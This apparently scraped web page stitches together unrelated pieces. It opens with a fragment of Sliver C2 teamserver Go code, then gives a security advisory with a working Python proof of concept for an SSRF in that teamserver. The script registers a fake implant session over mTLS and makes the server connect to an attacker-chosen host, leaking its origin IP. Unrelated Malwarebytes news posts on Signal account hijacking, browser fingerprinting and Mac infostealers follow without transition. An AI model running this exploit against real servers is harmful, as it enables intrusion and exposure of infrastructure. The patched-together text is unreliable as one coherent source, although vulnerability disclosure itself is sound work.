	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, \_ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(\*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("\[portfwd\] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 \* time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[portfwd\] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers\[0\]
		n, err := io.Copy(tWriter, tunnel.Readers\[0\])
		\_ \= n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[tunnel\] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok \= tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[tunnel\] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[message just received\] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) \> 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     \[\]byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[shell\] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[tunnel\] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}

**Impact**

For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys  
For HTTP listeners, you will need to generate valid nonce  
Not sure about other transport types

**POC**

POC code, it is not cleaned up at all, please forgive me

#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver\_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json\_format
from rich import print
import random
import string

ssl\_ctx \= ssl.create\_default\_context()
ssl\_ctx.load\_cert\_chain(keyfile\='certs/client.key',certfile\='certs/client.crt')#,ca\_certs='sliver/ca.crt')
ssl\_ctx.load\_verify\_locations('certs/ca.crt')
ssl\_ctx.check\_hostname \= False
ssl\_ctx.verify\_mode \= ssl.CERT\_NONE

def generate\_random\_string(length\=8):
    \# Combine letters and digits
    characters \= string.ascii\_letters + string.digits
    \# Generate random string
    random\_string \= ''.join(random.choice(characters) for \_ in range(length))
    return random\_string

def rand\_unicode(junk\_sz):
  junk \= ''.join(\[chr(random.randint(0,2047)) for x in range(junk\_sz)\]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk\_register(junk\_sz):
  n \= generate\_random\_string()
  register \= {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config\_id"+n,
        "PeerID": \-1,
        "Locale": "locale" + n
  }

  return register

def make\_ping\_env():
  reg \= sliver.Ping()
  json\_format.Parse(json.dumps({}),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Ping')
  envelope.Data \= reg.SerializeToString()

  return envelope

def make\_rt\_env():
    
    jdata \= {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv\[4\]),
                "Host": sys.argv\[3\],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg \= sliver.TunnelData()
    json\_format.Parse(json.dumps(jdata),reg)
    envelope \= sliver.Envelope()
    envelope.Type \= msgs.index('TunnelData')
    envelope.Data \= reg.SerializeToString()

    return envelope

def send\_envelope(envelope,ip,port):
  with socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) as s:
    with ssl\_ctx.wrap\_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data\_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data\_len \= struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 \= make\_rt\_env()
      data\_len3 \= struct.pack('I', len(envelope3.SerializeToString()) )

      print(data\_len)

      ssock.write(data\_len + envelope.SerializeToString()) 
      ssock.write(data\_len3 + envelope3.SerializeToString())



    
      \# No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data\_len3 + envelope3.SerializeToString())

def register\_session(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending session registration.')
  reg \= sliver.Register()
  json\_format.Parse(json.dumps(junk\_register(50)),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Register')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

def register\_beacon(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending beacon registration.')
  reg \= sliver.BeaconRegister()
  reg.ID \= str(uuid.uuid4())
  junk\_sz \= 50
  reg.Interval \= random.randint(0,10\*junk\_sz)
  reg.Jitter \= random.randint(0,10\*junk\_sz)
  reg.NextCheckin \= random.randint(0,10\*junk\_sz)
  json\_format.Parse(json.dumps(junk\_register(junk\_sz)),reg.Register)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('BeaconRegister')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

description \= '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if \_\_name\_\_ \== '\_\_main\_\_':
  register\_session(sys.argv\[1\], int(sys.argv\[2\]))

**References**

*   GHSA-fh4v-v779-4g2w
*   BishopFox/sliver@0f340a2

GHSA-fh4v-v779-4g2w: SSRF in sliver teamserver

There is no excerpt because this is a protected post.

February 19, 2025 - Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

February 19, 2025 - Google is allowing its advertizing customers to fingerprint website visitors. Can you stop it?

February 19, 2025 - Info stealers are thriving on Mac, with one specific variant accounting for 70% of all info stealer detections at the end of 2024.

February 18, 2025 - A flea market buyer found medical information about hundreds of patients on second hand decommissioned hard drives.

February 17, 2025 - A list of topics we covered in the week of February 10 to February 16 of 2025

 Protected: zQA Content Editing Styles 

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn…

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn how they’re stealing messages and what you can do to defend yourself.

Russian state-backed actors are increasingly targeting secure messaging applications like Signal to intercept sensitive communications, reveals a recent report by Google’s Threat Intelligence Group. These groups, often aligned with Russian intelligence services, are focusing on compromising accounts used by individuals of interest, including military personnel, politicians, journalists, and activists. While the initial focus appears to be related to the conflict in Ukraine, researchers believe that these tactics will spread to other regions and threat actors.  

A primary method employed by these actors in this campaign involves exploiting the “linked devices” feature of Signal. By using phishing techniques, they trick users into scanning malicious QR codes, which then secretly link the victim’s account to a device controlled by the attacker. This allows the attacker to receive all messages in real-time, effectively eavesdropping on conversations without needing to compromise the entire device.

These malicious QR codes are often disguised as legitimate Signal resources, such as group invites, security alerts, or even device pairing instructions. In some cases, they are incorporated into phishing pages designed to mimic specialized applications, such as those used by the Ukrainian military.

The screenshot shows a Signal app phishing site and one of the malicious QR codes used in the attack (via Google).

In some cases, malicious QR codes are used in close-access scenarios, such as when Russian military forces capture devices on the battlefield.  This method lacks centralized monitoring and can go unnoticed for extended periods, which makes it hard to detect.

One group, identified as UNC5792 (also known as UAC-0195), has been observed modifying legitimate Signal group invite links. These altered links redirect victims to fake pages that initiate the unauthorized linking of their devices to the attacker’s control. The phishing pages are designed to closely resemble official Signal invites, making detection challenging. 

Another group, UNC4221 (UAC-0185), has targeted Ukrainian military personnel by embedding malicious QR codes within phishing sites that mimic artillery guidance applications. They have also used fake Signal security alerts to deceive victims. 

Beyond phishing, APT44 (Sandworm) utilizes malware and scripts to extract Signal messages from compromised Windows and Android devices. Their WAVESIGN script retrieves recent messages, while Infamous Chisel malware searches for Signal database files on Android devices.  

Other groups, like Turla and UNC1151, target the desktop application, using scripts and tools to copy and exfiltrate stored messages. UNC4221 has also used a JavaScript payload called PINPOINT to gather user information and geolocation data.

The popularity of secure messaging apps makes them prime targets for adversaries and other platforms, such as WhatsApp and Telegram, are also facing similar threats.

“The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term,” researchers warned.

Therefore, users are advised to stay cautious. It is important to use strong screen locks with complex passwords, keep operating systems and apps updated, and ensure Google Play Protect is enabled. Regularly auditing linked devices, exercising caution with QR codes and links, and enabling two-factor authentication are also recommended. iPhone users at high risk should consider enabling Lockdown Mode.

Hackers Tricking Users Into Linking Devices to Steal Signal Messages

Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

For the last four years, Malwarebytes has been protecting ARM-based machines running on Apple’s M-series processors. Now, we’ve expanded our protection range to include ARM-based Windows machines such as Copilot+ PCs, including Microsoft Surface Pro, Lenovo Yoga Slim and ThinkPad, and Dell Inspiron, among others. 

ARM-based chips offer advantages such as improved performance, longer battery life, lower costs, and advanced features like on-device AI processing. 

And with ARM processors gaining popularity in the PC market—projections suggest that they could have 25% market share by 2027—there is no doubt that malware creators will expand their reach into this area. 

Malwarebytes helps you get ahead of these threats. With active protection layers that defend against system vulnerabilities, malicious links, and more, Malwarebytes has you covered across your devices. 

**Where can I get it?** 

Go to the Malwarebytes website and hit the Free Download button to try it yourself, or click the button below. Our installer will automatically detect if you have an ARM device.

We recommend Windows 11 or higher for this installation, because Windows 11 has been optimized to run on ARM processors.

 Malwarebytes introduces native ARM support for Windows devices  

Google is allowing its advertizing customers to fingerprint website visitors. Can you stop it?

In the ongoing saga that is Google’s struggle to replace tracking cookies, we have entered a new phase. But whether that’s good news is another matter.

For years, Google has been saying it will phase out the third-party tracking cookies that power much of its advertising business online, proposing new ideas that would allegedly preserve user privacy while still providing businesses with steady revenue streams.

But it’s not been straight forward for Google. As we reported in July, 2024, the tech giant said that due to feedback from authorities and other stakeholders in advertising, Google was looking at a new path forward in finding the balance between privacy and an ad-supported internet.

The announcement read:

> “Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing.”

It’s not hard to see why this is scary. Apple’s App Tracking Transparency (ATT) feature caused a significant upset in the mobile advertising industry. When introduced in April 2021, it allowed users to opt out of being tracked across apps and websites. This led to an estimated 96% of US users choosing to opt out of tracking. With three billion Chrome users around the world, that might easily be an advertiser’s worst nightmare.

Google promised to kill tracking cookies by introducing a one-time global prompt upgrade that would present users with the choice of being tracked or not. By third-party cookies that is.

But ahead of fulfilling that promise, Google has introduced digital fingerprinting. Digital fingerprinting is like creating a unique digital ID for you or your device based on various pieces of information collected when you browse the internet, like:

*   Operating System (OS): Windows, Android, iOS, etc.
*   Browser type and version
*   IP address
*   Installed browser plugins
*   Time zone
*   Language settings
*   …and so on.

With all these pieces of information, it’s possible to create a unique fingerprint by which websites can recognize you, even if you clear your cookies. They will even be able to make an informed guess if you visit the same site with a different browser.

Google itself, at one point, said that fingerprinting was undesirable:

> “Unlike cookies, users cannot clear their fingerprint and therefore cannot control how their information is collected. We think this subverts user choice and is wrong.”

But, per Google’s announcement on December 19, 2024, organizations that use its advertising products can use fingerprinting techniques from last Sunday, February 16, 2025. Well, as far as Google is concerned that is.

The UK information commissioner’s office (ICO) reminded businesses they do not have free rein to use fingerprinting as they please. Like all advertising technology, it must be lawfully and transparently deployed – and if it is not, the ICO will act.

But the OK from Google is likely the start of an intermediate period where we will be bothered with both fingerprinting and third-party cookies until the advertising industry has had the time to transition.

**What can I do?**

Countering fingerprinting is a lot harder than keeping cookies at a minimum. But there are some things you can do to make it harder to get your fingerprint taken.

*   However hard it may be, the time may have come to consider switching to a browser that provides built-in features to resist fingerprinting
*   Or look for anti-fingerprinting tools in the form of browser extensions
*   Use a VPN that can mask your IP address and location, which are very significant pieces of information for fingerprinting
*   Keep your browser updated, so your old version will not give away your data
*   Disabling JavaScript can break a website’s functionality, but it also significantly reduces the data websites can gather about you.

We don’t just write about privacy, we can help you improve yours. Try Malwarebytes Privacy VPN.

 Google now allows digital fingerprinting of its users 

Info stealers are thriving on Mac, with one specific variant accounting for 70% of all info stealer detections at the end of 2024.

The latest, major threats to Mac computers can steal passwords and credit card details with delicate precision, targeting victims across the internet based on their device, location, and operating system.

These are the dangers of “infostealers,” which have long plagued Windows devices but, in the past two years, have become a serious threat for Mac owners. And in 2024, one malicious program in particular is responsible for the lion’s share of infostealer activity—racking up 70% of known infostealer detections on Mac.

These findings come from the 2025 State of Malware report. While many of the threats detailed in the report target companies and businesses, this latest wave of infostealers makes no distinction between Mac computers in an office and Mac computers at home. Unlike ransomware, which is deployed against large businesses that cybercriminals hope can pay hefty ransoms, infostealers can deliver illicit gains no matter the target.

With the right cybersecurity practices, everyday Mac users can stay safe from these emerging threats.

****The threat of infostealers****

“Infostealers” are a type of malware that do exactly as they say—they steal information from people’s devices. But the variety of information that these pieces of malware can steal makes them particularly dangerous.

With stolen credit card details, hackers can attempt fraudulent purchases online. With stolen passwords, the impact is even broader; hackers could wire funds from a breached online banking account into their own, or masquerade as someone on social media to ask friends and family for money. Some infostealers don’t even require an additional step—they can take cryptocurrency directly from a victim’s online accounts. 

But there is another threat to infostealers that comes from their recent history. They are wildly adaptable.

In 2016, Malwarebytes first discovered an infostealer called TrickBot that, when implanted on a person’s device, would steal online banking credentials. But over time, the developers behind TrickBot began adding alarming new features, including the capabilities to steal Outlook credentials, disable Windows Defender, and even to download and deliver additional, separate malware onto infected devices.

By 2018, TrickBot was the largest threat to businesses.

Now, in 2025, another infostealer is raising red flags all across cyberspace, and this time, it isn’t interested in Windows devices.

****The next Mac malware****

Malware is “malicious software,” and just like legitimate software, malware has to be developed for specific operating systems. That means that, for instance, ransomware that works on a Windows laptop doesn’t automatically work on a Mac laptop, and likewise, a phishing app developed for Android devices doesn’t work on iPhones.

For years, then, a great deal of malware activity has focused on Windows devices. The common cybercriminal calculus was that, if there were more Windows users in the world, there was more reason to target those users with cyberattacks.

During this time, most Mac threats were bothersome pieces of malware that would hijack a victim’s web browser to deliver annoying ads and wayward links. But as Mac computers have become standard within businesses—and as demand for Windows computers has waned—cybercriminals have readjusted their thinking.

In 2023, a new infostealer on Mac called Atomic Stealer (AMOS) made its debut, and since its launch, it has not only showcased new features—much like TrickBot—it has also been gussied up with some of the markings of a legitimate business.  

For instance, AMOS can be “licensed” out to other cybercriminals, much like how genuine companies offer their own software for a monthly subscription price. For AMOS, that price was initially $1,000 a month, and with that access, cybercriminals didn’t just buy a productivity tool or communications app, they bought access to an information stealer that can crack into Mac computers to steal a variety of sensitive information.

By January 2024, AMOS had increased its price to $3,000 a month. The developers ran a holiday promotion—seriously—and even released an AMOS update that would better obfuscate the infostealer from being detected by cybersecurity software.

But in the world of cybercrime, malware _features_ only mean so much. Another important piece of cybercrime is getting malware _onto_ a device to begin with. And in 2023, malware delivery evolved hand-in-hand with Mac infostealers.

Rather than trying to deliver malware through clumsy email attachments, cybercriminals have recently turned to “malicious advertising” or “malvertising.” This means that cybercriminals will create bogus versions of websites that will rank highly during regular Google searches, tempting victims into clicking the first, ad-supported link they see online, and unknowingly reaching a website controlled entirely by cybercriminals.

On these websites, cybercriminals advertise a piece of high-demand software and trick users into a download. But instead of receiving the desired software, victims receive, in these cases, infostealers.

This one-two punch of malvertising and advanced infostealers paved the way last year for the next, big Mac threat, called Poseidon.

As we warned in the State of Malware report:

> “Poseidon boasts that it can steal cryptocurrency from over 160 different wallets, and passwords from web browsers, the Bitwarden and KeePassXC password managers, the FileZilla file transfer app, and VPN configurations including Fortinet and OpenVPN.”

Poseidon is the most active infostealer on Mac today, and it accounted for 70% of all infostealer detections on Mac in the final months of 2024, an impressive feat considering the malware barely launched last summer.

Interestingly, Poseidon is just another “fork” of AMOS, meaning that another hacker took AMOS, built upon it, and released it in the wild. Already, Malwarebytes has uncovered consumer-targeted campaigns to infect Mac owners with Poseidon, including a malvertising website disguising Poseidon behind a download for a buzzy new web browser called Arc.

Poseidon represents a sea change in Mac malware, and with the type of advanced targeting that cybercriminals can achieve through malvertising—hackers can target malicious ads based on a potential victim’s location, operating system, software, and search terms—Mac users must be on watch.

****How to stay safe****

In 2025, Mac users don’t need to just watch out for infostealers. They also have to watch out for malvertising in general, as cybercriminals use the malware delivery method for all sorts of threats online.

Here’s how you can stay safe:

*   Use cybersecurity software that offers always-on protection against Mac malware including infostealers, adware, and the rare instances of ransomware.
*   Use Malwarebytes Browser Guard to securely browse the web and to be notified when visiting known, malicious websites that are in control of cybercriminals.
*   Beware the first, ad-supported result on Google searches and other search engines. Cybercriminals have successfully placed their own, malicious ads in these top rankings to trick victims into downloading malware.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Tag

#windows